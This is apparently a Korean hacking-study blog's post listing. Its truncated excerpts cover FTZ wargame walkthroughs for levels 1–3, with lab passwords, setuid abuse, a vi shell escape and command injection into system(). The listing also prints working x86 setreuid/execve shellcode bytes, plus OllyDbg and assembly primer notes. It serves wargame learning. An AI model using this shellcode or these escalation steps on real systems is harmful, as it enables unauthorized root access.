FTZ level3pw : Can you fly? level3입니다. 힌트가 있습니다. 음.. 먼저 100바이트의 cmd 배열이 선언 되어있고, 인자가 2개 입력되지 않으면 에러가 출력되고 프로그램이 종료됩니다. Strcpy()함수와 strcat()함수를 이용해서 코드를 보면 dig @”인자로받은값”+version.blind chaos txt가 될 것 입니다. 그리고 이 조합된 명령어가 system함수로 실행이 됩니다. 힌트에 있는 동시에 여러 명령어를 사용하려면? 문자열 형태로 명령어를 전달하려면?을 참고하여 문자열 형태로 동시에 여러 명령어를 사용한다는 조건을 충족하면 되는 것 같습니다. 그리고 이 코드의 실행파일은 level4의 setuid가 걸려있습니다. 이 실행파일을 찾아보면, 실행파일은 /bi..
FTZ level2pw : hacker or cracker 지난 level1에서는 다음권한의 setuid가 걸린 파일을 찾는 법을 알았습니다. 이를 응용해 level2를 풀어봅시다. ls –l 명령어로 파일 확인 힌트가 있습니다. 힌트를 보면, 그럼 이제 level3의 setuid가 걸린 파일을 찾아봅니다. /usr/bin/editor의 파일에 setuid가 걸려있습니다. 실행을 시켜보나 vi가 켜졌습니다. 아까 힌트에서 vi 편집중 쉘의 명령을 실행 할 수 있다고 했는데, Vi를 종료하면서 my-pass를 적어주니 다음 레벨의 password가 나왔습니다. Level3 Password is “Can you fly?”
FTZ level1 pw : level1 ls 명령어를 통해 파일을 봅시다. level2 권한의 setuid가 걸린 파일을 찾아야합니다.그렇다면 검색을 통해 setuid가 걸린 파일은 찾으면 됩니다. *setuid와 setgid에 대해서 알아봅시다Setuid의 경우 사용자가 사용을 할 때만, 소유자의 권한으로 파일을 실행시키고, setgid의 경우 사용자가 사용을 할 때만, 그룹의 권한으로 파일을 실행시킵니다. Setuid는 권한을 쓸 수 있는 특수 권한 입니다. 이 명령어를 써주면 무엇인가 쓸데 없는 것이 너무 많아 보입니다. Permission denied는 권한이 없다라는 것인데, 파일들을 구분하기 쉽도록 2>/dev/null 명령어를 추가 해 주면 됩니다.(2는 에러가 나는 파일, 1은 에러가 나..
16 Byte | setreuid( geteuid() , geteuid() ); \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 25 Byte | shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 41 Byte \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xc..
리버싱에 앞선 ollydbg 기초 사용법을 정리 한 것 이다. Ollydbg의 기본 명령어 Ctrl+F2 : 다시 처음부터 디버깅 시작(재실행) F7 : 하나의 OP code 실행(CALL 명령을 만나면, 그 함수 내부로 들어감, Step into) F8 : 하나의 OP code 실행(CALL 명령을 만나면, 따라 들어가지 않고 그냥 함수 실행, Step Over) Ctrl + F9 : 함수 코드 내에서 RETN 명령어까지 실행(함수 탈출 목적) Ctrl+G : 원하는 주소로 이동(코드/메모리를 확인할 때 사용, 실행 X) F4 : cursor 위치까지 실행(디버깅하고 싶은 주소까지 바로 갈 수 있음) ; 코멘트 추가 : Label 추가 F2 : BP 설정/해제 F9 : 실행(BP가 걸려있으면 그곳에서 ..
레지스터 : CPU내부에 존재하는 다목적 저장 공간. - CPU와 한 몸이기 때문에 고속으로 데이터를 처리할 수 있다.레지스터는 범용레지스터, 세그먼트 레지스터, 상태 플래그 레지스터, 명령 포인터 레지스터로 나눌 수 있다. 범용 레지스터 모든 일반적인 목적을 위한 레지스터는 16비트로 되어 있으며, 8비트 레지스터로 나누어질 수 있다. 종류구성용도AX AH, AL수학 연산, I/O연산, INT 21BXBH, BLBASE 또는 PointerCXCH, CL루프 및 반복DXDH, DL다양한 데이터, 문자 출력 386 시피유가 나올 때 4가지의 레지스터가 추가됨. 그것은 EAX, EBX, ECX, EDX 이다E는 ‘extended’(확장됨)을 의미한다. 기존에는 16비트이였지만 32비트로 확장되었다. EAH,..
어셈블리어에 대해 기초적인 것을 정리한 것. 기본 ASM - 아래 내용은 시스템에 해킹 공부에서 필수적인 부분.- GDB에서 어드레스를 찾고, 쉘코드를 작성할 때 등등 알아야 함. MOV연산자 : 레지스터에 어떤 값을 부여하기 위해 씀 MOV 목적지, 값 예) AX를 56h과 같게 하려면MOV AX,56h ; AX의 값이 56h가 되었다. XCHG연산자 : 단순히 두 레지스터를 exchange함. MOV DX, 56hMOV AX, 3FhXCHG DX, AX DX는 56h, AH는 3Fh 인데. 서로의 값을 교환함. *참고로 8비트 레지스터와 16비트 레지스터와 교환하지 않도록 해야 한다.예)XCHG AH, BX INC연산자 : increase, ++을 해줌예) MOV DX, 50h ;DX의 값은 50h로..
- HackCTF
- fsop
- shellcoding
- TLS
- glibc
- oob
- pwable
- hacking
- tcache
- ebp change
- SQLi
- srop
- rt_sigreturn
- 해킹
- exit
- codegate
- pwnable.tw
- stack reusing
- heap
- FSB
- pwnable
- fastbin
- overflow
- fastbindup
- 본선가고싶다
- Total
- Today
- Yesterday